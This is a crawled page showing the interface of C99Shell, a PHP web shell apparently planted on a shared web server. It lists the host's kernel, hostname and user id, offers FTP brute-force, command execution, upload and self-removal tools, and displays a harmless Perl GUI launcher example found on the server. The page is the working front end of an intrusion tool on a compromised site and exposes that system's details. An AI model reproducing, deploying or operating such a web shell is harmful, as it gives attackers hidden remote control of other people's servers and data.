!C99Shell v. 2.0 [PHP 7 Update] [25.02.2019]!

Software: Apache. PHP/7.3.33 

uname -a: Linux web25.us.cloudlogin.co 5.10.237-xeon-hst #1 SMP Mon May 5 15:10:04 UTC 2025 x86_64 

uid=233359(alpastrology) gid=888(tty) groups=888(tty),33(tape) 

Safe-mode: OFF (not secure)

/usr/lib64/perl5/vendor_perl/Prima/examples/   drwxr-xr-x
Free 6181.94 GB of 6263.14 GB (98.7%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Feedback    Self remove    Logout    


Viewing file:     launch.pl (1.67 KB)      -rw-r--r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
=pod

=head1 NAME

examples/launch.pl - A Prima example launcher

=head1 FEATURES

Uses to execute several Prima examples in one task space.
Many examples inflict the view af a user-selected widget, but
lack existence of the appropriate one. The launcher helps
such experiments. See cv.pl or fontdlg.pl in particular.

=cut

use strict;
use warnings;

use Prima;
use Prima::Classes;
use Prima::Dialog::FileDialog;

my $dlg;
my $closeAction = 0;
my $myApp;

package MyOpenDialog;
use vars qw( @ISA);
@ISA = qw( Prima::Dialog::OpenDialog);

sub ok
{
    Launcher::launch( $_[0]-> Name-> text);
}

package MyApp;
use vars qw( @ISA);
@ISA = qw( Prima::Application);

sub close
{
    $_[0]-> SUPER::close if $closeAction;
}

sub destroy
{
    $_[0]-> SUPER::destroy if $closeAction;
}


package Generic;

sub start {
    $myApp = $::application = MyApp-> create( name => "Launcher");
    $dlg = MyOpenDialog-> create(
        name   => 'Launcher',
        filter => [
            ['Scripts' => '*.pl'],
            ['All files' => '*'],
        ],
        onEndModal => sub {
            $closeAction++;
            $::application-> close;
            $closeAction--;
        },
    );
    my $cl = $dlg-> Cancel;

    $cl-> text('Close');
    $cl-> set(
        onClick => sub {
            $closeAction++;
            $dlg-> cancel;
            $closeAction--;
        },
    );
    $dlg-> execute_shared;
}

package Prima::Application;

sub create
{
    my $x = shift;
    return $myApp ? $myApp : $x-> SUPER::create( @_);
}

package Launcher;

sub launch
{
    my $pgm = $_[0];
    my $ok;
    my $app = $::application;
    {
        my $package = $pgm;
        $package =~ s{^.*[\\/]([^\\/]+)\..*$}{$1};
        print "require '$pgm' != 1 || run $package;";
        $ok = eval( "require '$pgm' != 1 || run $package; 1;");
    }
    $::application = $app;
    print $@ unless $ok;
}

Generic::start;

run Prima;


:: Command execute ::

Enter:
 
Select:
 

:: Search ::
  - regexp 

:: Upload ::
 
[ Read-Only ]

:: Make Dir ::
 
[ Read-Only ]
:: Make File ::
 
[ Read-Only ]

:: Go Dir ::
 
:: Go File ::
 

--[ c99shell v. 2.0 [PHP 7 Update] [25.02.2019] maintained by KaizenLouie | C99Shell Github | Generation time: 0.0159 ]--